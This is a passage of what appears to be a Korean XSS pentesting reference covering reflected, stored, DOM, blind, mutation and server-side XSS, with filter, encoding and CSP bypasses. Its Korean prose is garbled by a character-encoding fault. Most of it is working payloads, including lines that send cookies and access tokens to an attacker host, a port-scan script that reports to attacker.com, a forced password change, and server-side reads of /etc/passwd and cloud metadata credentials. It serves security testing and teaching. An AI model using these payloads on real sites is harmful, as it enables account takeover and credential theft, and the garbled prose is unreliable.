๐ Introduction
XSS๋ Cross-Site Scripting์ ์ฝ์๋ก ์น ์๋น์ค์ Javascript ๋ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋ ์ฝ๋๋ฅผ ์ฝ์ ํ์ฌ ๋ค๋ฅธ ์ฌ์ฉ์ ๋ฑ์๊ฒ ๊ณต๊ฒฉ์๊ฐ ์๋ํ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๊ฒ ํ๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋๋ค. OWASP TOP10์๋ ๋งค๋ฒ ํฌํจ๋ ๋งํผ ์์ฃผ ์ ํต์ ์ธ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ด์ง๋ง ํ์ฌ๊น์ง ์์ฃผ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ผ๋ก ์น ํดํน์ ๋ํํ๋ ๊ณต๊ฒฉ์ด๋ผ๊ณ ์๊ฐํฉ๋๋ค.
XSS๋ ํฌ๊ฒ Reflected/Stored/DOM 3๊ฐ์ง์ ํ์ ์ผ๋ก ๋๋์ด ๋ณผ ์ ์์ต๋๋ค. ์ถ๊ฐ๋ก ์ ํ๋ ํ๊ฒฝ์์ ๋ถํน์ ๋๋ฉ์ธ์ ๋์์ผ๋ก ์ํฅ์ ์ค ์ ์๋ Univeral XSS(UXSS)์ ํน์ํ ์ผ์ด์ค๋ก ๋์ํ๋ Mutaion XSS(mXSS)๋ ๊ฐ๊ฐ ๊ฐ๋ณ์ ์ธ ํ์ ์ผ๋ก ๋ณด๊ณ ์์ต๋๋ค.
Non-persistent XSS (Reflected XSS)
์๋ฌธ ํ์ด ๊ทธ๋๋ก ๋น ์ง์์ ์ธ XSS๋ฅผ ์๋ฏธํฉ๋๋ค. ๊ฒ์, ์กฐํ ๊ธฐ๋ฅ๊ณผ ๊ฐ์ด ์ฌ์ฉ์๋ก ๋ถํฐ ์ ๋ ฅ ๋ฐ์ ๋ฐ์ดํฐ๊ฐ ํ์ด์ง์ ๋ฐ์ฌ๋์ด ๋ ธ์ถ๋๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์ฝ๋๊ฐ ํฌํจ๋ URL์ ํ ์ฌ์ฉ์์๊ฒ ์ ๋ฌํ๋ ๋ฐฉ์์ผ๋ก ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค.
Request/Response
GET /page?q=a<script>alert(45)</script>bcd HTTP/1.1
HTTP/1.1 200
...
a<script>alert(45)</script>bcd
Persistent XSS (Stored XSS)
์ง์์ ์ธ XSS๋ฅผ ์๋ฏธํฉ๋๋ค. ๋ณดํต Stored XSS๋ก ๋ง์ด ํํํ๋ฉฐ ๊ฒ์๊ธ, ์ฌ์ฉ์ ์ ๋ณด ๋ฑ ํ๋ฒ ์ ์ฅ๋๋ฉด ์ฅ๊ธฐ์ ์ผ๋ก XSS ๊ณต๊ฒฉ์ฝ๋๊ฐ ์น ์๋น์ค์ ๋จ์ ์ฌ์ฉ์์๊ฒ ์ง์์ ์ผ๋ก ํผํด๋ฅผ ์ค ์ ์๋ XSS๋ฅผ ์๋ฏธํฉ๋๋ค. ๋ณดํต ์๋น์ค ๊ธฐ๋ฅ ์ ์ฅ๊ธฐ์ ์ผ๋ก ๋ฐ์ดํฐ๊ฐ ๋จ๋ ํ๋กํ ์ ์ฅ, ๊ฒ์๊ธ ์์ฑ, ๋๊ธ ์์ฑ๋ฑ์ ๊ธฐ๋ฅ์์ ๋ํ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
Request - Save
POST /profile HTTP/1.1
name=a<script>alert(45)</script>bcd
Request - Trigger
GET /profile
HTTP/1.1 200
...
Name: a<script>alert(45)</script>bcd
DOM XSS
DOM XSS๋ Reflected, Stored XSS์ ์ ์ฌํ์ง๋ง ์ฌ์ฉ์ ์ ๋ ฅ์ด ํ์ด์ง์ ์ง์ ๋ฐ์๋๋ ํํ๊ฐ ์๋, JS ํจ์๋ฑ์ผ๋ก ์ธํด DOM ๋ด๋ถ์์ ์ฒ๋ฆฌ๋๋ ์ค ์คํฌ๋ฆฝํธ๊ฐ ์คํ ๊ฐ๋ฅํ XSS๋ฅผ ์๋ฏธํฉ๋๋ค.
Request/Response
GET /page?q=alert(45) HTTP/1.1
HTTP/1.1 200
...
<script>
function getParameterByName(name) {
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
results = regex.exec(location.search);
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}
eval(getParameterByName('q'))
</script>
UXSS (Universal XSS)
UXSS๋ ์๋น์ค์ ๊ด๊ณ์์ด ๋ถํน์ ํ ์ฌ์ดํธ์์ ๋ฐ์ ๊ฐ๋ฅํ XSS๋ฅผ ์๋ฏธํฉ๋๋ค. ๋ณดํต ์น ๋ณด๋ค๋ ๋ชจ๋ฐ์ผ ์ฑ, ๋ค์ดํฐ๋ธ ์ฑ์์ ๋ฐ์ํ๋ฉฐ ๋ํ์ ์ธ ์์๋ก๋ Mobile App์ WebView ์์ฒด์์ ๋ฐ์ํ๋ XSS๋ก ์ธํด ๋๋ฉ์ธ๊ณผ ๊ด๊ณ์์ด ์ ๋ณด๋ฅผ ํ์ทจํ๋ XSS ๋ฑ์ด ์์ต๋๋ค.
Blind XSS
Blind XSS๋ ์ฌ์ฉ์์ XSS ์ฝ๋ ์ฝ์ ์ ๊ฒฐ๊ณผ๋ฅผ ์ฆ๊ฐ ํ์ธํ ์ ์๋ XSS๋ฅผ ์๋ฏธํฉ๋๋ค. ๋ณดํต ๊ณ ๊ฐ์ผํฐ, ๋ฌธ์ ๊ธฐ๋ฅ ๋ฑ ๊ณต๊ฒฉ์๊ฐ ์ ๋ฌํ ์์ฒญ์ด ๋ค๋ฅธ ์์คํ ์์ XSS ์ฝ๋๋ก ์คํ๋๋ ๊ฒฝ์ฐ XSS๊ฐ ๊ฐ๋ฅํ์ง๋ง, ๊ณต๊ฒฉ์๋ ์คํ์ฌ๋ถ๋ฅผ ์ ์ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฌํ ๊ณต๊ฒฉ์ Blind XSS ๋ผ๊ณ ํฉ๋๋ค.
Blind XSS ๋ฅผ ํ์งํ๋ ๋ฐฉ๋ฒ์ ๋ณ๋์ Callback ์๋ฒ๋ฅผ ๋๊ณ <script src="callback"></script>
์ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ callback ์๋ฒ๋ฅผ ํธ์ถํ๋๋ก ํ์ฌ ์คํฌ๋ฆฝํธ์ ์คํ ์ฌ๋ถ๋ฅผ ์ ์ ์๋๋ฐ, ๋ณดํต์ Blind XSS์ ์์ธํ ์คํ์ ๋ณด(์ด๋ค IP์์ ์ด๋ค ํ์ด์ง์์ ์คํ๋์๋์ง ๋ฑ) ํ์
์ ์ํด XSSHunter(https://xsshunter.com)์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
๋ณดํต
Referer: asd'"><script src="//hahwul.xss.ht"></script>
dalfox์์๋ ์ด๋ฅผ ์ฝ๊ฒ ์ฒดํฌํ ์ ์๋๋ก -b
(--blind
) ์ต์
์ ํตํด dalfox๊ฐ ์ฌ๋ฌ๊ฐ์ง blind xss ํจํด์ ์๋น์ค์ parameter, path, header ๋ฑ์ ์ฝ์
ํ์ฌ ํธ๋ฆฌ๊ฑฐ๋ฅผ ์ ๋ ์ํต๋๋ค.
dalfox url https://google.com?q=1234 -b hahwul.xss.ht
mXSS (Mutaion XSS)
mXSS(Muation XSS)๋ ์น ๋ธ๋ผ์ฐ์ ๋ค์ HTML Parser์ ์ค์ ์ ์ด์ฉํ XSS๋ก ๋ธ๋ผ์ฐ์ ์ HTML Parser๊ฐ ๋น์ ์์ ์ธ HTML ์ฝ๋๋ฅผ ๋ง๋ฌ์ ๋ ์ ์์ ์ธ ํํ๋ก ์ ํํด์ ์ฌ์ฉํ๋๋ฐ, ์ด ๋ ๊ตฌ๋ฌธ์์ผ๋ก๋ non-script ์์ญ์ผ๋ก ํ๋จํ์ง๋ง, ์ค์ ๋ก๋ scripting์ด ๊ฐ๋ฅํ ํํ์ XSS๋ฅผ ์๋ฏธํฉ๋๋ค.
input
<math>
<mtext>
<table>
<mglyph>
<style><!--</style>
<img title="--><img src=1 onerror=alert(1)>">
output
<math>
<mtext>
<mglyph>
<style><!--</style>
<img title="--></stype></mglyph><img src="1" onerror=alert(1)>"
</mtext>
</math>
firefox
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]></mglyph><img	src=1	onerror=alert(1)>">
chrome
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=1 onerror=alert(1)>">
safari
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=1 onerror=alert(1)>">
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]></mglyph><img	src=1	onerror=alert(1)>">
in Vue
<x title"="<iframe	onload	=alert(1)>">
<x title"="<iframe	onload	=setTimeout(/alert(1)/.source)>">
<noscript></noscript><iframe></noscript>
<xmp></xmp><iframe></xmp>
<xyz<img/src onerror=alert(1)>>
<svg><svg><b><noscript></noscript><iframe	onload=alert(1)></noscript></b></svg>
Server-Side XSS (SSXSS)
Server-Side XSS๋ ์ผ๋ฐ์ ์ธ XSS์ ๋ค๋ฅด๊ฒ Server์์ ์คํ๋๋ XSS๋ฅผ ์๋ฏธํฉ๋๋ค. ๋์ฒด๋ก Dynamic PDF/Images ๊ณผ ๊ฐ์ ๊ธฐ๋ฅ, ๊ทธ๋ฆฌ๊ณ ์ผ๋ถ Headless๋ฅผ ํตํ ์๋ํ ํ๋ก์ฐ(์คํฌ๋ฆฐ์ท ์บก์ณ, Headless ๊ธฐ๋ฐ์ ์๋ํ ํ๋ก์ฐ ๋ฑ)์ ๊ฐ์ด Server-Side์์ Headless ๋ฑ ์น ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด ํ์ด์ง์ ์ ๊ทผํ ๋ ๋ฐ์ํฉ๋๋ค.
XSS์ ์ ์ฌํ์ง๋ง Server-Side์์ ๋์ํ๊ธฐ ๋๋ฌธ์ LFI, SSRF ๋ฐ API Key ํ์ทจ ๋ฑ ๋ฆฌ์คํฌ ์๋ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํฉ๋๋ค.
LFI
<iframe src=file:///etc/passwd></iframe>
SSRF
<iframe src=https://internal.service/getSystem></iframe>
๐ก Offensive techniques
Detect
XSS์ ์๋ณ์ ๊ธฐ๋ณธ์ ์ผ๋ก โ์ฌ์ฉ์์ ์ ๋ ฅ์ด ์๋น์ค์ ๋ฐ์๋ ์ ์๋๊ฐ?โ ์์ ์ถ๋ฐํฉ๋๋ค. ์ฌ์ฉ์์ ์ ๋ ฅ์ด ํ์ด์ง์ ์ด๋ค ํํ๋ก๋ผ๋ ๋ฐ์๋๋ค๋ฉด ๊ธฐ๋ณธ์ ์ผ๋ก XSS์ ๊ฐ๋ฅ์ฑ์ ๊ฐ์ง๋๋ค. ์ฌ๊ธฐ์ ์ค์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋๋ฐ ํ์ํ ํน์๋ฌธ์๋, ์ฝ๋ ๋ฑ์ ํ์ด์ง์ ๋ฐ์ํ ์ ์๋์ง ํ ์คํธํ๋ ๊ฒ์ด XSS ํ ์คํ ์ ๋๋ค์ ์์ ์ ๋๋ค.
Request
GET /serach?query=asdf"><br>1234 HTTP/1.1
Response
๊ฒ์ ๊ฒฐ๊ณผ๋ asdf"><br>1234 ์
๋๋ค.
XSS
GET /serach?query=asdf<svg/onload=alert(45)>1234 HTTP/1.1
Response
๊ฒ์ ๊ฒฐ๊ณผ๋ asdf<svg/onload=alert(45)>1234 ์
๋๋ค.
Exploitation
์ผ๋ฐ์ ์ผ๋ก XSS์ ๋ํ ๊ฒ์ฆ์ alert()
/ prompt()
/ confirm()
์ผ๋ก ํ์ด์ง์ dialog๋ฅผ ์ด์ด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ ์ ์์์ ๊ฒ์ฆํฉ๋๋ค. ๋ค๋ง iframe ๋ด๋ถ์์์ ์ด๋ฐ dialog ํจ์๋ค์ chrome ์ ์ฑ
์ ์ํด ์ฐจ๋จ๋๊ธฐ ๋๋ฌธ์ print()
๋ฑ๋ ๊ฒ์ฆ์ ์ํ ์ข์ ๋์์ด ๋ฉ๋๋ค.
XSS๊ฐ ์ค์ ๋ก ๊ณต๊ฒฉ์ ํ์ฉ๋๋ ๋ถ๋ถ์ ๊ต์ฅํ ๋ค์ํ๋ฐ, ๊ฐ๋จํ๊ฒ๋ ์ฌ์ฉ์์ ์ฟ ํค/์ธ์ฆํ ํฐ ํ์ทจ๋ถํฐ ์ ์ฑ์ฝ๋ ๊ฐ์ผ ์ ๋, CSRF, SOP๋ฑ์ ๋ณด์ ์ ์ฑ ์ ๋ฒ์ด๋ ์คํฌ๋ฆฝํธ ์คํ, ์น ์์ฒญ์ผ๋ก Javascript๋ฅผ ์ด์ฉํด ํ ์ ์๋ ๋ชจ๋ ๊ธฐ๋ฅ์ด XSS์ ์ํฅ๋ ฅ์ด ๋ฉ๋๋ค.
Get/Set Cookie
<script>document.location='//attacker/?c='+document.cookie</script>
<script>document.location='//attacker/?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="//attacker/?c="+document.cookie;</script>
<script>new Image().src="//attacker/?c="+localStorage.getItem('access_token');</script>
Run service functions
XSS ์ฝ๋๋ ์ฌ์ฉ์์ DOM ์์ญ์์ ๋์ํ๊ธฐ ๋๋ฌธ์ ์น ํ์ด์ง์์ ๋ฏธ๋ฆฌ ๋ง๋ค์ด์ง ํจ์๋ค์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ๋ค์ด ์น ํ์ด์ง์ JS์ฝ๋๋ก ์ฌ์ฉ์์ ํ ํฐ์ ๊ฐ์ ธ์ค๋ ํจ์๊ฐ ์ ์๋์ด ์๋ค๊ณ ํ๋ค๋ฉด, XSS ์ฝ๋ ๋ํ ๊ทธ ์ฝ๋๋ฅผ ๋์ผํ๊ฒ ์ฌ์ฉํ์ฌ ํ ํฐ์ ์ป์ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก XSS๋ก ๋ถํฐ cookie๋ฅผ ๋ณดํธํ๊ธฐ ์ํด cookie์ HttpOnly ๋ฑ ๋ณด์ ์ค์ ์ ์งํํ๊ฒ ๋๋๋ฐ, ์ด ์ฟ ํค ์ ๋ณด๋ฅผ Js ๋ด๋ถ์์ ๊ฐ์ง๊ณ ์๊ฑฐ๋ ๋ค๋ฅธ ๊ฐ์ฒด์ ์ ์ฅํด๋์๋ค๋ฉด ๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ฐํํ๊ณ ์ฝ๊ฒ ์ฟ ํค์ ์ ๊ทผํ ์ ์๊ฒ ๋ฉ๋๋ค.
Bypass SOP
SOP๋ Same-Origin-Policy๋ก ๋์ผ ๋๋ฉ์ธ์์๋ง ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๊ณ ์ฝ์ ์ ์๋๋ก ์ ํํ๋ ๋ณด์ ์ ์ฑ ์ธ๋ฐ, XSS์ ๊ฒฝ์ฐ ์๋น์ค์ ๋๋ฉ์ธ์์ ๋์ํ๊ธฐ ๋๋ฌธ์ ์ด๋ฌํ ๋ณด์ ํต์ ๊ฐ ๋ฌด๋ ฅํ ๋ฉ๋๋ค.
var bodyData = {newPassword :"hacked"};
$.ajax({
type: "POST",
data :JSON.stringify(bodyData),
url: "/api/update/me",
contentType: "application/json"
});
Find DOM Objects
function f(name) {
A = Object.getOwnPropertyNames(eval(name))
for (var i = 0; i < A.length; ++i) {
console.log('['+name+'.'+A[i]+']');
try {
eval('console.log(" "+'+name+'.'+A[i]+'+[])');
} catch (e) { }
}
}
f('window')
Set-Cookie
<meta http-equiv="Set-Cookie" content="name=<script>alert(1)</script>">
LFI via SSXSS
Server-Side XSS(SSXSS) ๋ฐ์ ์ ์์คํ ํ์ผ์ ํ์ด์ง์ ํฌํจ์์ผ ํ์ทจํ ์ ์์ต๋๋ค.
with Tag
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
with Script
<script>
xhzeem = new XMLHttpRequest();
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
</script>
SSRF via SSXSS
Server-Side XSS(SSXSS) ๋ฐ์ ์ ํ ์์คํ ์ผ๋ก iframe ๋ฑ์ ๊ฑธ์ด SSRF๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
<iframe src="https://internal.service"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
Info leak via SSXSS
Server-Side์์ ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด ์ฒ๋ฆฌํ๋ ๊ธฐ๋ฅ๋ค์ ๊ฒฝ์ฐ ์น ์ ๊ทผ์ด๋ ํ์ด์ง ๋ด๋ถ์ ์ค์ํ ๋ฐ์ดํฐ๋ฅผ ํฌํจํ๊ณ ์์ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. ๊ทธ๋์ Server-Side XSS(SSXSS) ๋ฐ์ ์ ์๋ฒ์ ๋ณด ํ์ทจ ๋ํ ์ค์ํ ํฌ์ธํธ์ ๋๋ค.
Location
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
Cookie
<script> document.write(document.cookie) </script>
DOM
<script> document.write(btoa(document.documentElement.innerHTML)) </script>
Portscan via SSXSS
Server-Side XSS(SSXSS) ๋ฐ์ ์ ๋ด๋ถ๋ง์์ ์ฝ๋๊ฐ ๋์ํ๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ์ด์ฉํ์ฌ ํฌํธ ์ค์บ๋๋ ๊ฐ๋ฅํฉ๋๋ค.
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
BeEF
BeEF(https://beefproject.com)๋ Browser Exploitation Framework์ ๋๋ค. XSS ์ฝ๋๊ฐ ์ฝ์ ๋ ํ์ด์ง์ ์ ๊ทผํ ์ฌ์ฉ์๋ฅผ Agent ์ฒ๋ผ ์ฌ์ฉํ๋ฉด์ JS ์ฝ๋๋ฅผ ์คํํ๊ฑฐ๋ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ๋์์ ์ํํ๋๋ก ๋ช ๋ น์ ๋ด๋ฆด ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ BeEF ์ํค๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
- Basic Utilization
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK
- Advanced Utilization
- RESTful API
- Autorun Rule Engine
- Notifications
- Console
- WebRTC Extension
Bypass protection
Basic mechanism
XSS์ ์ฐํ ๊ธฐ์ ์ ๋๋ถ๋ถ ์น๊ณผ ๋ธ๋ผ์ฐ์ ์ ์ ์ฑ , ๊ทธ๋ฆฌ๊ณ ๊ฐ๋ฐ์๊ฐ ์๋ํ ์ถ๊ฐ์ ์ธ ๊ธฐ๋ฅ๋ค์ ์ด์ฉํด ์ด๋ฃจ์ด์ง๋๋ค. ๊ฐ์ข ์ธ์ฝ๋ฉ๋ถํฐ ํน์ํ ๋ฌธ์ ์ , ๊ทธ๋ฆฌ๊ณ ๊ธฐ์กด XSS ๋ณดํธ ๋ก์ง์ ์ญ์ด์ฉํ ๋ฐฉ๋ฒ ๋ฑ ๋งค์ฐ ๋ง์ผ๋ฉฐ, ์ด๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์๋น์ค์์ Input์ ์ด๋ป๊ฒ ๋ฐ๊ณ ์ฒ๋ฆฌํ๋๋๋ฅผ ์ค์ ์ ์ผ๋ก ์๊ฐ ํด์ผํฉ๋๋ค. ๋ฑ ์ ํด์ง ๋ฐฉ๋ฒ์ด ์๋๊ฒ ์๋๋ผ์ ํ๋ฒ ๋ ์๊ฐํด๋ณด๊ณ ๊ณ ๋ฏผํด๋ณด๋ ์ต๊ด์ ๊ฐ์ ธ์ผ ์ ํ์ด๋๊ฐ ์ ์์ต๋๋ค.
์๋๋ ์์ฃผ ๊ธฐ๋ณธ์ ์ธ ์ฐํ ๋ฐฉ๋ฒ๋ค์ด๋ ์ฐธ๊ณ ํ์๊ธธ ๋ฐ๋์.
https://www.hahwul.com/2016/06/08/web-hacking-anti-xss-filter-evasion-of/
URL Encoding
- %3C โ
<
- %3E โ
>
- %22 โ
"
- %27 โ
'
๋ฑ URL Encode๋ฅผ ์ด์ฉํ ์ฐํ๊ธฐ๋ฒ์ ๋๋ค. ์ฒ๋ฆฌํ๋ ์ฑ์ ๋ฐ๋ผ์ ์ฌ๋ฌ๋ฒ Encodeํ์ฌ ์ฐํํ๋ ๊ฒฝ์ฐ๋ ์์ต๋๋ค.
- %253C
- %253E
- %2522
- %2527
- %25253C
- %25253E
- %252522
- %252527
HEX Encoding
https://www.hahwul.com/2015/06/26/web-hacking-hex-encoding-xss/
GET /?title=%26%23x003C;script%26%23x003E;alert(45)%26%23x003C;/script%26%23x003E;
<
โ<
>
โ>
"
โ"
'
โ'
Unicode Encoding
\u003c
โ<
\u003e
โ>
\u0022
โ"
\u0027
โ'
GBK Encoding
- ๅพ = %E5%98%BE = \u563e โ %3E
>
- ๅผ = %E5%98%BC = \u563c โ %3C
<
- ๅข = %E5%98%A2 = \u5622 โ %22
'
- ๅง = %E5%98%A7 = \u5627 โ %27
"
Bypass domain check protection
<script src="data://www.trustdomain.hahwul.com, alert(45)"></script>
์์ธํ ๋ด์ฉ์ https://www.hahwul.com/2019/03/26/bypass-domain-check-protection-with-data-for-xss/ ์ ์ฐธ๊ณ ํด์ฃผ์ธ์.
Bypass DOM XSS Filter
https://www.hahwul.com/2017/10/18/web-hacking-bypass-dom-xss/
Forcing HTTP Redirect XSS
Request
/weak.page?url=ws://www.hahwul.com;"><svg/onload=alert(45)>
Response
HTTP 302 Redirect
Location: ws://www.hahwul.com;"><svg/onload=alert(45)>
<a href="ws://www.hahwul.com;"><svg/onload=alert(45)>"></a>
์์ธํ ๋ด์ฉ์ https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/ ์ ์ฐธ๊ณ ํด์ฃผ์ธ์.
Hidden XSS
- https://www.hahwul.com/2016/12/28/web-hacking-html-accesskey-and-hidden/
- https://www.hahwul.com/2016/06/20/web-hacking-hiddenxss-xss-in-hidden/
<html>
<body>
<input type="hidden" accesskey="X" onclick="alert(45)">
</body>
</html>
<button popovertarget=ร>Click me</button>
<input type="hidden" value="y" popover id=x onbeforetoggle=alert(1)>
Data URI XSS
- https://www.hahwul.com/2022/03/05/data-uri-xss-v2/
- https://www.hahwul.com/2017/03/15/web-hacking-data-xss-filtering-bypass/
<script src="data:;base64,YWxlcnQoMSk="></script>
<iframe src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></iframe>
<object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'></object>
<embed src="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+"></embed>
<form action="data:text/html;charset=utf-8,%3cbr%3e"><input type='submit'></form>
<a href="data:text/html;,<br>">x</a>
<meta HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">
JSFuck
- https://www.hahwul.com/2018/09/15/jsfuck-xss-payload/
- https://github.com/aemkei/jsfuck/blob/master/jsfuck.js
// alert(1)
this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])
// alert(1)
this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))
JSFuck+Hangul
- https://www.hahwul.com/2018/11/20/waf-bypass-xss-payload-only-hangul/
- https://twitter.com/XssPayloads/status/1095213323677782017
<html>
<head>
<meta charset="utf-8">
</head>
<script>
([,ํ,,,,ํ]=[]+{},[ํ,๊ธ,ํ,์ด,,๋ก,๋,ใ
,,,ใ
]=[!!ํ]+!ํ+ํ.ใ
)
[ํ+=ํ+ใ
+ใ
+ํ+๊ธ+ํ+ํ+ํ+ํ+๊ธ][ํ](๋ก+๋+์ด+๊ธ+ํ+'(45)')()
</script>
</html>
JSFuck+8
[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()
With strtoupper
[strtoupper(<ลฟcript>) by Rubiya](https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/)ลฟcript>
%c4%b1 : "ฤฑ".toUpperCase() == "I"
%c5%bf : "ลฟ".toUpperCase() == "S"
%c4%b0 : "ฤฐ".toLowerCase() == "i"
%E2%84%AA : "โช".toLowerCase() == "k"
U+2029 XSS
Paragraph Separator(U+2029) XSS
#!@*%
alert(1)
URI Hash XSS
https://www.hahwul.com/2018/03/21/hacking-hsah-tag-xss-escape-quot-with/
document.write("<img/src="+absolutizeUrl('http://www.hahwul.com#" onerror=alert(45)')+">");
xmp/noscript/noframes/iframe
https://www.hahwul.com/2019/04/12/bypass-xss-protection-with-xmp-noscript-etc/
<noscript><p title="</noscript><svg/onload=alert(45)>">
<noframes><p title="</noframes><svg/onload=alert(45)>">
<iframe><p title="</iframe><svg/onload=alert(45)>">
<xmp><p title="</xmp><svg/onload=alert(45)>">
Normalized XSS
https://www.hahwul.com/2019/09/26/normalized-stored-xss/
=[ฬh+อ.๏ผscript/src=//evil.site/poc.js>.อฬฎฬฎอ
=sW&อฬนฬปอฬซฬฆฬฎฬฒอฬผฬฬซฬฬ
Bypass in-JS
with <!-- <script/
<script>
var test = "injection <!-- <script/";
</script>
<img src="</script><script>alert(origin)</script>">
with </script>
<script>
var test = "</script><svg/onload=alert(45)>"
</script>
with double quot and plus
<script>
var test = ""+alert(45)+""
// user input: "+alert(45)+"
</script>
with backslash
<script>
var test = "\", test1="+alert(45)//input2"
// Original: var test = "input1", test1="input2"
// user input1: \
// user input2: +alert(45)//
</script>
Without X
Ways to XSS without parentheses
alert`45`
document.location="javascript:alert%2845%29"
onerror=alert;throw 45
x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x
JS Magic
location.protocol
// open https://www.hahwul.com?%0aalert(45)
location.protocol="javascript:"
Bypass CSP
Content-Security-Policy
CSP๋ Content-Security-Policy๋ก ์น ๋ธ๋ผ์ฐ์ ์์ ์ฌ์ฉํ๋ ์ปจํ ์ธ ๊ธฐ๋ฐ์ ๋ณด์ ์ ์ฑ ์ ๋๋ค. ์ด๋ฅผ ํตํด์ ์ด๋ฏธ์ง, ์คํฌ๋ฆฝํธ ๋ฑ ์ฌ๋ฌ ์ปจํ ์ธ ์ ๋ํด ์ฐจ๋จํ๊ฑฐ๋ ํ์ฉํ ์ ์์ต๋๋ค. ๋น์ฐํ ์คํฌ๋ฆฝํธ ์ ํ ์ ์ฑ ์ด ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ XSS์ ์ข์ ์ํ ๋ฐฉ์์ด๊ธฐ๋ ํฉ๋๋ค.
- Content-Security-Policy : W3C์์ ์ง์ ํ ํ์คํค๋, ๋์ฒด๋ก ์ด๊ฑธ ์ฌ์ฉํจ
- X-Content-Security-Policy : Firefox/IE ๊ตฌํ ๋ธ๋ผ์ฐ์ ์์ ์ฌ์ฉ๋๋ ํค๋
- X-WebKit-CSP : Chrome ๊ธฐ๋ฐ์ ๊ตฌํ ๋ธ๋ผ์ฐ์ ์์ ์ฌ์ฉ๋๋ ํค๋
์ด์ค์์ ์ผ๋ฐ์ ์ผ๋ก Content-Security-Policy ํค๋๊ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ ์ฑ ์ ๋ํ ๋ถ๋ถ์ ์๋ Defensive techniques์ CSP๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
Hack unsafe-eval
Content-Security-Policy: script-src https://www.hahwul.com 'unsafe-eval' data: http://*; child-src 'none';
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
Hack unsafe-inline
Content-Security-Policy: script-src https://www.hahwul.com 'unsafe-inline' https://*; child-src 'none';
"/><script>alert(45);</script>
Missing default-src
Content-Security-Policy: script-src 'self';
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
์ ๋ขฐ ๋๋ฉ์ธ์ Source ์ ๋ก๋
